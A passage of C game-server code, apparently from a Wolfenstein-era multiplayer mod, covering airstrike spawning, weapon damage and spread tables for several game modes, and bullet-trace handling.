level.axisAirstrikeCounter += (60000 / g_maxAirstrikes.integer); //Can change 6 to give different result
}
if( ent->client->sess.sessionTeam == TEAM_BLUE ){
level.alliedAirstrikeCounter += (60000 / g_maxAirstrikes.integer);
}
}
G_SayTo( ent, ent, 2, COLOR_YELLOW, "Fire Mission: ", "Firing for effect!", qtrue );
if ( ent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-firing.wav");
te->s.teamNum = ent->s.clientNum;
}
else {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-firing.wav");
te->s.teamNum = ent->s.clientNum;
}
VectorCopy(trace.endpos, bomboffset);
traceheight = bomboffset[2];
bottomtraceheight = traceheight-8192;
if(!g_theTrenchesMode.integer)
bombNum = 5;
else
bombNum = 6;
// "spotter" round (i == 0)
// i == 1->4 is regular explosives
for(i=0;i<bombNum;i++){
bomb = G_Spawn();
bomb->think = G_AirStrikeExplode;
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb->s.weapon = WP_ARTY; // might wanna change this
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
/*
if (i == 0) {
bomb->nextthink = level.time + 4500;
bomb->think = artilleryThink;
}
*/
if (i == 0) {
bomb->nextthink = level.time + 5000;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_BROADCAST;
bomb->classname = "props_explosion"; // was "air strike"
bomb->damage = 0; // maybe should un-hard-code these?
bomb->splashDamage = 90;
bomb->splashRadius = 50;
// bomb->s.weapon = WP_SMOKE_GRENADE;
// TTimo ambiguous else
if (ent->client != NULL) // set team color on smoke
{
if (ent->client->sess.sessionTeam == TEAM_RED) // store team so we can generate red or blue smoke
bomb->s.otherEntityNum2 = 1;
else
bomb->s.otherEntityNum2 = 0;
}
bomb->think = artillerySpotterThink;
}
else {
bomb->nextthink = level.time + 8950 + 2000 * i + crandom()*800;
bomb->classname = "air strike";
bomb->damage = 0;
bomb->splashDamage = 400;
bomb->splashRadius = 400;
}
//bomb->methodOfDeath = MOD_AIRSTRIKE;
//bomb->splashMethodOfDeath = MOD_AIRSTRIKE;
bomb->methodOfDeath = MOD_ARTILLERY; //airstrikeFIX
bomb->splashMethodOfDeath = MOD_ARTILLERY;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
if (i) { // spotter round is always dead on (OK, unrealistic but more fun)
bomboffset[0] = crandom()*250;
bomboffset[1] = crandom()*250;
}
else {
if(!g_theTrenchesMode.integer){
bomboffset[0] = crandom()*50; // was 0; changed per id request to prevent spotter round assassinations
bomboffset[1] = crandom()*50; // was 0;
}else{
bomboffset[0] = 0; // was 0; changed per id request to prevent spotter round assassinations
bomboffset[1] = 0;
}
}
bomboffset[2] = 0;
VectorAdd(pos,bomboffset,bomb->s.pos.trBase);
VectorCopy(bomb->s.pos.trBase,bomboffset); // make sure bombs fall "on top of" nonuniform scenery
bomboffset[2] = traceheight;
VectorCopy(bomboffset, fallaxis);
fallaxis[2] = bottomtraceheight;
trap_Trace(&trace, bomboffset, NULL, NULL, fallaxis, ent->s.number, MASK_SHOT);
if (trace.fraction != 1.0)
VectorCopy(trace.endpos,bomb->s.pos.trBase);
bomb->s.pos.trDelta[0] = 0; // might need to change this
bomb->s.pos.trDelta[1] = 0;
bomb->s.pos.trDelta[2] = 0;
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy (bomb->s.pos.trBase, bomb->r.currentOrigin);
// build arty falling sound effect in front of bomb drop
bomb2 = G_Spawn();
bomb2->think = artilleryThink;
bomb2->s.eType = ET_MISSILE;
bomb2->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb2->r.ownerNum = ent->s.number;
bomb2->parent = ent;
bomb2->damage = 0;
bomb2->nextthink = bomb->nextthink-600;
bomb2->classname = "air strike";
bomb2->clipmask = MASK_MISSILESHOT;
bomb2->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb2->s.pos.trTime = level.time; // move a bit on the very first frame
VectorCopy(bomb->s.pos.trBase,bomb2->s.pos.trBase);
VectorCopy(bomb->s.pos.trDelta,bomb2->s.pos.trDelta);
VectorCopy(bomb->s.pos.trBase,bomb2->r.currentOrigin);
}
ent->client->ps.classWeaponTime = level.time;
}
#ifdef OMNIBOT
Bot_Event_FireWeapon(ent-g_entities, Bot_WeaponGameToBot(WP_ARTY), 0);
#endif
}
gentity_t *LaunchItem( gitem_t *item, vec3_t origin, vec3_t velocity, int ownerNum );
// jpw
/*
==============
Weapon_Gauntlet
==============
*/
void Weapon_Gauntlet( gentity_t *ent ) {
}
/*
===============
CheckMeleeAttack
using 'isTest' to return hits to world surfaces
===============
*/
trace_t *CheckMeleeAttack( gentity_t *ent, float dist, qboolean isTest ) {
static trace_t tr;
vec3_t end;
gentity_t *tent;
gentity_t *traceEnt;
// set aiming directions
AngleVectors (ent->client->ps.viewangles, forward, right, up);
CalcMuzzlePoint ( ent, WP_GAUNTLET, forward, right, up, muzzleTrace );
VectorMA (muzzleTrace, dist, forward, end);
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT ) {
return NULL;
}
// no contact
if(tr.fraction == 1.0f)
return NULL;
traceEnt = &g_entities[ tr.entityNum ];
// send blood impact
if ( traceEnt->takedamage && traceEnt->client ) {
tent = G_TempEntity( tr.endpos, EV_MISSILE_HIT );
tent->s.otherEntityNum = traceEnt->s.number;
tent->s.eventParm = DirToByte( tr.plane.normal );
tent->s.weapon = ent->s.weapon;
}
//----(SA) added
if(isTest)
return &tr;
//----(SA)
if ( !traceEnt->takedamage) {
return NULL;
}
if (ent->client->ps.powerups[PW_QUAD] ) {
G_AddEvent( ent, EV_POWERUP_QUAD, 0 );
s_quadFactor = g_quadfactor.value;
} else {
s_quadFactor = 1;
}
return &tr;
}
/*
======================================================================
MACHINEGUN
======================================================================
*/
/*
======================
SnapVectorTowards
Round a vector to integers for more efficient network
transmission, but make sure that it rounds towards a given point
rather than blindly truncating. This prevents it from truncating
into a wall.
======================
*/
// (SA) modified so it doesn't have trouble with negative locations (quadrant problems)
// (this was causing some problems with bullet marks appearing since snapping
// too far off the target surface causes the the distance between the transmitted impact
// point and the actual hit surface larger than the mark radius. (so nothing shows) )
void SnapVectorTowards( vec3_t v, vec3_t to ) {
int i;
for ( i = 0 ; i < 3 ; i++ ) {
if ( to[i] <= v[i] ) {
// v[i] = (int)v[i];
v[i] = floor(v[i]);
} else {
// v[i] = (int)v[i] + 1;
v[i] = ceil(v[i]);
}
}
}
// JPW
// mechanism allows different weapon damage for single/multiplayer; we want "balanced" weapons
// in multiplayer but don't want to alter the existing single-player damage items that have already
// been changed
//
// KLUDGE/FIXME: also modded #defines below to become macros that call this fn for minimal impact elsewhere
//
int G_GetWeaponDamage( int weapon ) {
int mauserDmg;
if(g_instaGib.integer)
mauserDmg = 999;
else
mauserDmg = 80;
if( g_gametype.integer == GT_SINGLE_PLAYER ) {
switch (weapon) {
case WP_LUGER:
case WP_SILENCER: return 6;
case WP_COLT: return 8;
case WP_AKIMBO: return 8; //----(SA) added
case WP_VENOM_FULL:
case WP_VENOM: return 12; // 15 ----(SA) slight modify for DM
case WP_MP40: return 6;
case WP_THOMPSON: return 8;
case WP_STEN: return 10;
case WP_FG42SCOPE:
case WP_FG42: return 15;
case WP_BAR:
case WP_BAR2: return 12; //----(SA) added
case WP_MAUSER: return 20;
case WP_GARAND: return 25;
case WP_SNIPERRIFLE: return 55;
case WP_SNOOPERSCOPE: return 25;
case WP_NONE: return 0;
case WP_KNIFE:
case WP_KNIFE2: return 5;
case WP_GRENADE_LAUNCHER: return 100;
case WP_GRENADE_PINEAPPLE: return 80;
case WP_DYNAMITE:
case WP_DYNAMITE2: return 300;
case WP_ROCKET_LAUNCHER:
case WP_PANZERFAUST: return 100;
case WP_MORTAR: return 100;
case WP_FLAMETHROWER: // FIXME -- not used in single player yet
case WP_TESLA:
case WP_SPEARGUN:
case WP_SPEARGUN_CO2:
case WP_CROSS:
case WP_GAUNTLET:
case WP_SNIPER:
default: return 1;
}
}
else { // multiplayer damage
if((!g_theTrenchesMode.integer) && (!g_SniperMode.integer)){
switch (weapon) {
case WP_LUGER:
case WP_SILENCER:
case WP_COLT: return 18;
case WP_AKIMBO: return 18; //----(SA) added
case WP_VENOM_FULL: return 10;
case WP_VENOM: return 20;
case WP_MP40: return 14;
case WP_THOMPSON: return 18;
case WP_STEN: return 14;
case WP_FG42SCOPE:
case WP_FG42: return 15;
case WP_BAR:
case WP_BAR2: return 12; //----(SA) added
case WP_MAUSER: return mauserDmg;
case WP_GARAND: return 75; // was 25 JPW
case WP_SNIPERRIFLE: return 80;
case WP_SNOOPERSCOPE: return 75;
case WP_NONE: return 0;
case WP_KNIFE:
case WP_KNIFE2: return 10;
case WP_SMOKE_GRENADE: return 140; // just enough to kill somebody standing on it
case WP_GRENADE_LAUNCHER: return 250;
case WP_GRENADE_PINEAPPLE: return 250;
case WP_DYNAMITE:
case WP_DYNAMITE2: return 600;
case WP_ROCKET_LAUNCHER:
case WP_PANZERFAUST: return 400;
case WP_MORTAR: return 250;
case WP_FLAMETHROWER: return 1;
case WP_TESLA:
case WP_SPEARGUN:
case WP_SPEARGUN_CO2:
case WP_CROSS:
case WP_GAUNTLET:
case WP_SNIPER:
default: return 1;
}
}
//Sniper weapon damage
else if(g_SniperMode.integer){
switch (weapon) {
case WP_LUGER:
case WP_SILENCER:
case WP_COLT: return 18;
case WP_AKIMBO: return 18; //----(SA) added
case WP_VENOM_FULL: return 10;
case WP_VENOM: return 20;
case WP_MP40: return 14;
case WP_THOMPSON: return 18;
case WP_STEN: return 14;
case WP_FG42SCOPE:
case WP_FG42: return 15;
case WP_BAR:
case WP_BAR2: return 12; //----(SA) added
case WP_MAUSER: return 50;
case WP_GARAND: return 50; // was 25 JPW
case WP_SNIPERRIFLE: return 25;
case WP_SNOOPERSCOPE: return 25;
case WP_NONE: return 0;
case WP_KNIFE: return 25;
case WP_KNIFE2: return 999;
case WP_SMOKE_GRENADE: return 0; // Agent no damage
case WP_GRENADE_LAUNCHER: return 250;
case WP_GRENADE_PINEAPPLE: return 250;
case WP_DYNAMITE:
case WP_DYNAMITE2: return 600;
case WP_ROCKET_LAUNCHER:
case WP_PANZERFAUST: return 400;
case WP_MORTAR: return 250;
case WP_FLAMETHROWER: return 1;
case WP_TESLA:
case WP_SPEARGUN:
case WP_SPEARGUN_CO2:
case WP_CROSS:
case WP_GAUNTLET:
case WP_SNIPER:
default: return 1;
}
}
else{
//Fun Mode damage
if(g_theTrenchesMode.integer == 2){
switch (weapon) {
case WP_LUGER: return 5;
case WP_SILENCER:
case WP_COLT: return 5;
case WP_AKIMBO: return 1; //----(SA) added
case WP_VENOM_FULL: return 10;
case WP_VENOM: return 10;
case WP_MP40: return 10;
case WP_THOMPSON: return 10;
case WP_STEN: return 999;
case WP_FG42SCOPE:
case WP_FG42: return 15;
case WP_BAR:
case WP_BAR2: return 12; //----(SA) added
case WP_MAUSER: return 17; //g_mauserdamage.integer; // was 25 JPW
case WP_GARAND: return 49; // was 25 JPW
case WP_SNIPERRIFLE: return 50;
case WP_SNOOPERSCOPE: return 75;
case WP_NONE: return 0;
case WP_KNIFE:
case WP_KNIFE2: return 999;
case WP_SMOKE_GRENADE: return 250; // just enough to kill somebody standing on it
case WP_GRENADE_LAUNCHER: return 250;
case WP_GRENADE_PINEAPPLE: return 250;
case WP_DYNAMITE:
case WP_DYNAMITE2: return 600;
case WP_ROCKET_LAUNCHER:
case WP_PANZERFAUST: return 100;
case WP_MORTAR: return 0;
case WP_FLAMETHROWER: return 1;
case WP_TESLA:
case WP_SPEARGUN:
case WP_SPEARGUN_CO2:
case WP_CROSS:
case WP_GAUNTLET:
case WP_SNIPER:
default: return 1;
}
}
else if(g_theTrenchesMode.integer == 1){
switch (weapon) {
case WP_LUGER: return 12;
case WP_SILENCER:
case WP_COLT: return 12;
case WP_AKIMBO: return 1; //----(SA) added
case WP_VENOM_FULL: return 10;
case WP_VENOM: return 10;
case WP_MP40: return 14;
case WP_THOMPSON: return 18;
case WP_STEN: return 999;
case WP_FG42SCOPE:
case WP_FG42: return 15;
case WP_BAR:
case WP_BAR2: return 12; //----(SA) added
case WP_MAUSER: return 49; //g_mauserdamage.integer; // was 25 JPW
case WP_GARAND: return 49; // was 25 JPW
case WP_SNIPERRIFLE: return 50;
case WP_SNOOPERSCOPE: return 75;
case WP_NONE: return 0;
case WP_KNIFE:
case WP_KNIFE2: return 10;
case WP_SMOKE_GRENADE: return 250; // just enough to kill somebody standing on it
case WP_GRENADE_LAUNCHER: return 250;
case WP_GRENADE_PINEAPPLE: return 250;
case WP_DYNAMITE:
case WP_DYNAMITE2: return 600;
case WP_ROCKET_LAUNCHER:
case WP_PANZERFAUST: return 400;
case WP_MORTAR: return 400;
case WP_FLAMETHROWER: return .5;
case WP_TESLA:
case WP_SPEARGUN:
case WP_SPEARGUN_CO2:
case WP_CROSS:
case WP_GAUNTLET:
case WP_SNIPER:
default: return 1;
}
}
}
}
return 0;
}
// JPW - this chunk appears to not be used, right?
/*
#define MACHINEGUN_SPREAD 200
#define MACHINEGUN_DAMAGE G_GetWeaponDamage(WP_MACHINEGUN) // JPW
#define MACHINEGUN_TEAM_DAMAGE G_GetWeaponDamage(WP_MACHINEGUN) // JPW // wimpier MG in teamplay
*/
// jpw
// RF, wrote this so we can dynamically switch between old and new values while testing g_userAim
float G_GetWeaponSpread( int weapon ) {
if (g_gametype.integer == GT_SINGLE_PLAYER) { // JPW NERVE -- don't affect SP game
if (g_userAim.integer) {
// these should be higher since they become erratic if aiming is out
switch (weapon) {
case WP_LUGER: return 600;
case WP_SILENCER: return 900;
case WP_COLT: return 700;
case WP_AKIMBO: return 700; //----(SA) added
case WP_VENOM: return 1000;
case WP_MP40: return 1000;
case WP_FG42SCOPE:
case WP_FG42: return 800;
case WP_BAR:
case WP_BAR2: return 800;
case WP_THOMPSON: return 1200;
case WP_STEN: return 1200;
case WP_MAUSER: return 400;
case WP_GARAND: return 500;
case WP_SNIPERRIFLE: return 300;
case WP_SNOOPERSCOPE: return 300;
}
} else { // old values
switch (weapon) {
case WP_LUGER: return 25;
case WP_SILENCER: return 150;
case WP_COLT: return 30;
case WP_AKIMBO: return 30; //----(SA) added
case WP_VENOM: return 200;
case WP_MP40: return 200;
case WP_FG42SCOPE:
case WP_FG42: return 150;
case WP_BAR:
case WP_BAR2: return 150;
case WP_THOMPSON: return 250;
case WP_STEN: return 300;
case WP_MAUSER: return 15;
case WP_GARAND: return 25;
case WP_SNIPERRIFLE: return 10;
case WP_SNOOPERSCOPE: return 10;
}
}
}
else { // JPW NERVE but in multiplayer... new spreads and don't look at g_userAim
if(!g_theTrenchesMode.integer){
switch (weapon) {
case WP_LUGER: return 600;
case WP_SILENCER: return 900;
case WP_COLT: return 800;
case WP_AKIMBO: return 800; //----(SA)added
case WP_VENOM: return 600;
case WP_MP40: return 400;
case WP_FG42SCOPE:
case WP_FG42: return 500;
case WP_BAR:
case WP_BAR2: return 500;
case WP_THOMPSON: return 600;
case WP_STEN: return 200;
case WP_MAUSER:
if(g_instaGib.integer)
return 100;
else
return 2000;
break;
case WP_GARAND: return 600;
case WP_SNIPERRIFLE: return 700; // was 300
case WP_SNOOPERSCOPE: return 700;
}
}else{
//FOR THE TRENCHES
//I just split the funmode with g_thetrenchesmode for now may change later
if (g_theTrenchesMode.integer == 2){
switch (weapon) {
case WP_LUGER: return 700;
case WP_SILENCER: return 900;
case WP_COLT: return 700;
case WP_AKIMBO: return 800; //----(SA)added
case WP_VENOM: return 600;
case WP_MP40: return 600;
case WP_FG42SCOPE:
case WP_FG42: return 500;
case WP_BAR:
case WP_BAR2: return 500;
case WP_THOMPSON: return 600;
case WP_STEN: return 1;
case WP_MAUSER: return 900; //our 12 gauge
case WP_GARAND: return 150;
case WP_SNIPERRIFLE: return 150; // was 300
case WP_SNOOPERSCOPE: return 700;
}
}else if (g_theTrenchesMode.integer == 1){
switch (weapon) {
case WP_LUGER: return 700;
case WP_SILENCER: return 900;
case WP_COLT: return 700;
case WP_AKIMBO: return 800; //----(SA)added
case WP_VENOM: return 600;
case WP_MP40: return 400;
case WP_FG42SCOPE:
case WP_FG42: return 500;
case WP_BAR:
case WP_BAR2: return 500;
case WP_THOMPSON: return 600;
case WP_STEN: return 1;
case WP_MAUSER: return 100;
case WP_GARAND: return 150;
case WP_SNIPERRIFLE: return 150; // was 300
case WP_SNOOPERSCOPE: return 700;
}
}
}
}
G_Printf("shouldn't ever get here (weapon %d)\n",weapon);
// jpw
return 0; // shouldn't get here
}
#define LUGER_SPREAD G_GetWeaponSpread(WP_LUGER)
#define LUGER_DAMAGE G_GetWeaponDamage(WP_LUGER) // JPW
#define SILENCER_SPREAD G_GetWeaponSpread(WP_SILENCER)
#define COLT_SPREAD G_GetWeaponSpread(WP_COLT)
#define COLT_DAMAGE G_GetWeaponDamage(WP_COLT) // JPW
#define VENOM_SPREAD G_GetWeaponSpread(WP_VENOM)
#define VENOM_DAMAGE G_GetWeaponDamage(WP_VENOM) // JPW
#define MP40_SPREAD G_GetWeaponSpread(WP_MP40)
#define MP40_DAMAGE G_GetWeaponDamage(WP_MP40) // JPW
#define THOMPSON_SPREAD G_GetWeaponSpread(WP_THOMPSON)
#define THOMPSON_DAMAGE G_GetWeaponDamage(WP_THOMPSON) // JPW
#define STEN_SPREAD G_GetWeaponSpread(WP_STEN)
#define STEN_DAMAGE G_GetWeaponDamage(WP_STEN) // JPW
#define FG42_SPREAD G_GetWeaponSpread(WP_FG42)
#define FG42_DAMAGE G_GetWeaponDamage(WP_FG42) // JPW
#define BAR_SPREAD G_GetWeaponSpread(WP_BAR)
#define BAR_DAMAGE G_GetWeaponDamage(WP_BAR)
#define MAUSER_SPREAD G_GetWeaponSpread(WP_MAUSER)
#define MAUSER_DAMAGE G_GetWeaponDamage(WP_MAUSER) // JPW
#define GARAND_SPREAD G_GetWeaponSpread(WP_GARAND)
#define GARAND_DAMAGE G_GetWeaponDamage(WP_GARAND) // JPW
#define SNIPER_SPREAD G_GetWeaponSpread(WP_SNIPERRIFLE)
#define SNIPER_DAMAGE G_GetWeaponDamage(WP_SNIPERRIFLE) // JPW
#define SNOOPER_SPREAD G_GetWeaponSpread(WP_SNOOPERSCOPE)
#define SNOOPER_DAMAGE G_GetWeaponDamage(WP_SNOOPERSCOPE) // JPW
/*
==============
SP5_Fire
dead code
==============
*/
void SP5_Fire(gentity_t *ent, float aimSpreadScale)
{
// TTimo unused
// static int seed = 0x92;
float spread = 400; // these used to be passed in
int damage;
trace_t tr;
vec3_t end;
float r;
float u;
gentity_t *tent;
gentity_t *traceEnt;
/*
// first do a very short, high-accuracy trace
VectorMA (muzzleTrace, 128, forward, end);
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
// then if that fails do a longer wild shot
if ( tr.fraction == 1 ) // didn't hit anything
{
{
vec3_t vec;
float len;
VectorMA (muzzleTrace, 4096, forward, end);
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
VectorSubtract (muzzleTrace, tr.endpos, vec);
len = VectorLength (vec);
if (len > 400)
spread = 400;
else
spread = len;
VectorClear (end);
}
*/
spread *= aimSpreadScale;
r = crandom()*spread;
u = crandom()*spread;
VectorMA (muzzleTrace, 4096, forward, end);
VectorMA (end, r, right, end);
VectorMA (end, u, up, end);
trap_Trace (&tr, muzzleTrace, NULL, NULL, end, ent->s.number, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT ) {
return;
}
// }
traceEnt = &g_entities[ tr.entityNum ];
// snap the endpos to integers, but nudged towards the line
SnapVectorTowards( tr.endpos, muzzleTrace );
// send bullet impact
if ( traceEnt->takedamage && traceEnt->client && !(traceEnt->flags & (FL_DEFENSE_GUARD|FL_WARZOMBIECHARGE)) ) {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_FLESH );
tent->s.eventParm = traceEnt->s.number;
if( LogAccuracyHit( traceEnt, ent ) ) {
ent->client->ps.persistant[PERS_ACCURACY_HITS]++;
}
} else if ((traceEnt->flags & FL_WARZOMBIECHARGE) && (rand()%3)==0) { // hit every other bullet when charging
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_FLESH );
tent->s.eventParm = traceEnt->s.number;
if( LogAccuracyHit( traceEnt, ent ) ) {
ent->client->ps.persistant[PERS_ACCURACY_HITS]++;
}
} else {
// Ridah, bullet impact should reflect off surface
vec3_t reflect;
float dot;
if (traceEnt->flags & (FL_DEFENSE_GUARD|FL_WARZOMBIECHARGE)) {
// reflect off sheild
VectorSubtract( tr.endpos, traceEnt->r.currentOrigin, reflect );
VectorNormalize( reflect );
VectorMA( traceEnt->r.currentOrigin, 15, reflect, reflect );
tent = G_TempEntity( reflect, EV_BULLET_HIT_WALL );
} else {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_WALL );
}
dot = DotProduct( forward, tr.plane.normal );
VectorMA( forward, -2*dot, tr.plane.normal, reflect );
VectorNormalize( reflect );
tent->s.eventParm = DirToByte( reflect );
// done.
}
tent->s.otherEntityNum = ent->s.number;
if ( traceEnt->takedamage) {
qboolean reflectBool=qfalse;
vec3_t trDir;
if (traceEnt->flags & FL_DEFENSE_GUARD) {
// if we are facing the direction the bullet came from, then reflect it
AngleVectors( traceEnt->s.apos.trBase, trDir, NULL, NULL );
if (DotProduct(forward, trDir) < 0.6) {
reflectBool = qtrue;
}
}
//----(SA) moved these up so damage sent in Bullet_Fire() will be valid
damage = G_GetWeaponDamage(WP_SILENCER) + (random() * 15); // JPW giving 40-55
damage *= s_quadFactor;
if (reflectBool) {
// reflect this bullet
G_AddEvent( traceEnt, EV_GENERAL_SOUND, level.bulletRicochetSound );
CalcMuzzlePoints( traceEnt, traceEnt->s.weapon );
Bullet_Fire( traceEnt, 1000, damage );
} else {
// Ridah, don't hurt team-mates
// DHM - Nerve :: only in single player
G_Damage( traceEnt, ent, ent, forward, tr.endpos, damage, 0, MOD_SILENCER);
}
}
}
void RubbleFlagCheck (gentity_t *ent, trace_t tr)
{
qboolean is_valid = qfalse;
int type = 0;
// (SA) moving client-side
return;
if (tr.surfaceFlags & SURF_RUBBLE || tr.surfaceFlags & SURF_GRAVEL)
{
is_valid = qtrue;
type = 4;
}
else if (tr.surfaceFlags & SURF_METAL)
{
//----(SA) removed
// is_valid = qtrue;
// type = 2;
}
else if (tr.surfaceFlags & SURF_WOOD)
{
is_valid = qtrue;
type = 1;
}
if (is_valid && ent->client && ( ent->s.weapon == WP_VENOM
|| ent->client->ps.persistant[PERS_HWEAPON_USE]) )
{
if (rand()%100 > 75)
{
gentity_t *sfx;
vec3_t start;
vec3_t dir;
sfx = G_Spawn ();
sfx->s.density = type;
VectorCopy (tr.endpos, start);
VectorCopy (muzzleTrace, dir);
VectorNegate (dir, dir);
G_SetOrigin (sfx, start);
G_SetAngle (sfx, dir);
G_AddEvent( sfx, EV_SHARD, DirToByte( dir ));
sfx->think = G_FreeEntity;
sfx->nextthink = level.time + 1000;
sfx->s.frame = 3 + (rand()%3) ;
trap_LinkEntity (sfx);
}
}
}
/*
==============
EmitterCheck
see if a new particle emitter should be created at the bullet impact point
==============
*/
void EmitterCheck(gentity_t *ent, gentity_t *attacker, trace_t *tr) {
gentity_t *tent;
vec3_t origin;
VectorCopy(tr->endpos, origin);
SnapVectorTowards( tr->endpos, attacker->s.origin);
if(Q_stricmp(ent->classname, "func_explosive") == 0) {
} else if(Q_stricmp(ent->classname, "func_leaky") == 0) {
tent = G_TempEntity (origin, EV_EMITTER);
VectorCopy (origin, tent->s.origin);
tent->s.time = 1234;
tent->s.density = 9876;
VectorCopy (tr->plane.normal, tent->s.origin2);
}
}
void SniperSoundEFX (vec3_t pos)
{
gentity_t *sniperEnt;
sniperEnt = G_TempEntity( pos, EV_SNIPER_SOUND );
}
/*
==============
Bullet_Endpos
find target end position for bullet trace based on entities weapon and accuracy
==============
*/
void Bullet_Endpos(gentity_t *ent, float spread, vec3_t *end) {
float r, u;
qboolean randSpread = qtrue;
int dist = 8192;
r = crandom()*spread;
u = crandom()*spread;
// Ridah, if this is an AI shooting, apply their accuracy
if (ent->r.svFlags & SVF_CASTAI) {
float accuracy=0;
// accuracy = (1.0 - AICast_GetAccuracy( ent->s.number )) * AICAST_AIM_SPREAD;
r += crandom()*accuracy;
u += crandom()* ( accuracy * 1.25);
} else {
if(ent->s.weapon == WP_SNOOPERSCOPE || ent->s.weapon == WP_SNIPERRIFLE) {
// aim dir already accounted for sway of scoped weapons in CalcMuzzlePoints()
dist*= 2;
randSpread = qfalse;
}
}
VectorMA (muzzleTrace, dist, forward, *end);
if(randSpread) {
VectorMA (*end, r, right, *end);
VectorMA (*end, u, up, *end);
}
}
/*
==============
Bullet_Fire
==============
*/
void Bullet_Fire (gentity_t *ent, float spread, int damage ) {
vec3_t end;
//ANTILAG - shift other clients back to the client's idea of the server
// time to compensate for lag
if ( g_antilag.integer && ent->client &&
!(ent->r.svFlags & SVF_BOT) ) {
G_TimeShiftAllClients( ent->client->pers.cmd.serverTime, ent );
}
Bullet_Endpos(ent, spread, &end);
Bullet_Fire_Extended(ent, ent, muzzleTrace, end, spread, damage);
// MHC - Moved to end of FireWeapon per ET
//ent->client->pers.acc_shots++;
//ent->client->pers.life_shots++;
}
/*
==============
Bullet_Fire_Extended
A modified Bullet_Fire with more parameters.
The original Bullet_Fire still passes through here and functions as it always has.
uses for this include shooting through entities (windows, doors, other players, etc.) and reflecting bullets
==============
*/
void Bullet_Fire_Extended(gentity_t *source, gentity_t *attacker, vec3_t start, vec3_t end, float spread, int damage) {
trace_t tr;
gentity_t *tent;
gentity_t *traceEnt;
damage *= s_quadFactor;
// (SA) changed so player could shoot his own dynamite.
// (SA) whoops, but that broke bullets going through explosives...
trap_Trace (&tr, start, NULL, NULL, end, source->s.number, MASK_SHOT);
// trap_Trace (&tr, start, NULL, NULL, end, ENTITYNUM_NONE, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT ) {
//ANTILAG - make sure we un-time-shift the clients
goto untimeshift;
}
// bullet debugging using Q3A's railtrail
if(g_debugBullets.integer & 1) {
tent = G_TempEntity( start, EV_RAILTRAIL );
VectorCopy(tr.endpos, tent->s.origin2);
tent->s.otherEntityNum2 = attacker->s.number;
}
RubbleFlagCheck (attacker, tr);
traceEnt = &g_entities[ tr.entityNum ];
EmitterCheck(traceEnt, attacker, &tr);
// snap the endpos to integers, but nudged towards the line
SnapVectorTowards( tr.endpos, start );
// send bullet impact
if ( traceEnt->takedamage && traceEnt->client && !(traceEnt->flags & FL_DEFENSE_GUARD) ) {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_FLESH );
tent->s.eventParm = traceEnt->s.number;
// MHC - See bottom of G_Damage for new method
/*if( LogAccuracyHit( traceEnt, attacker ) ) {
attacker->client->ps.persistant[PERS_ACCURACY_HITS]++;
if(g_deathmatch.integer != 2){
if((OnSameTeam(attacker,traceEnt)) && (attacker != traceEnt)){
attacker->client->pers.acc_teamHits++;
}else{
attacker->client->pers.acc_hits++;
attacker->client->pers.life_hits++;
}
}
}
if(g_deathmatch.integer == 2){
attacker->client->pers.acc_hits++;
attacker->client->pers.life_hits++;
}*/
//----(SA) added
if(g_debugBullets.integer >= 2) { // show hit player bb
gentity_t *bboxEnt;
vec3_t b1, b2;
VectorCopy(traceEnt->r.currentOrigin, b1);
VectorCopy(traceEnt->r.currentOrigin, b2);
VectorAdd(b1, traceEnt->r.mins, b1);
VectorAdd(b2, traceEnt->r.maxs, b2);
bboxEnt = G_TempEntity( b1, EV_RAILTRAIL );
VectorCopy(b2, bboxEnt->s.origin2);
bboxEnt->s.dmgFlags = 1; // ("type")
}
//----(SA) end
} else if ( traceEnt->takedamage && traceEnt->s.eType == ET_BAT ) {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_FLESH );
tent->s.eventParm = traceEnt->s.number;
} else {
// Ridah, bullet impact should reflect off surface
vec3_t reflect;
float dot;
if(g_debugBullets.integer <= -2) { // show hit thing bb
gentity_t *bboxEnt;
vec3_t b1, b2;
VectorCopy(traceEnt->r.currentOrigin, b1);
VectorCopy(traceEnt->r.currentOrigin, b2);
VectorAdd(b1, traceEnt->r.mins, b1);
VectorAdd(b2, traceEnt->r.maxs, b2);
bboxEnt = G_TempEntity( b1, EV_RAILTRAIL );
VectorCopy(b2, bboxEnt->s.origin2);
bboxEnt->s.dmgFlags = 1; // ("type")
}
if (traceEnt->flags & FL_DEFENSE_GUARD) {
// reflect off sheild
VectorSubtract( tr.endpos, traceEnt->r.currentOrigin, reflect );
VectorNormalize( reflect );
VectorMA( traceEnt->r.currentOrigin, 15, reflect, reflect );
tent = G_TempEntity( reflect, EV_BULLET_HIT_WALL );
} else {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_WALL );
}
dot = DotProduct( forward, tr.plane.normal );
VectorMA( forward, -2*dot, tr.plane.normal, reflect );
VectorNormalize( reflect );
tent->s.eventParm = DirToByte( reflect );
if (traceEnt->flags & FL_DEFENSE_GUARD) {
tent->s.otherEntityNum2 = traceEnt->s.number; // force sparks
} else {
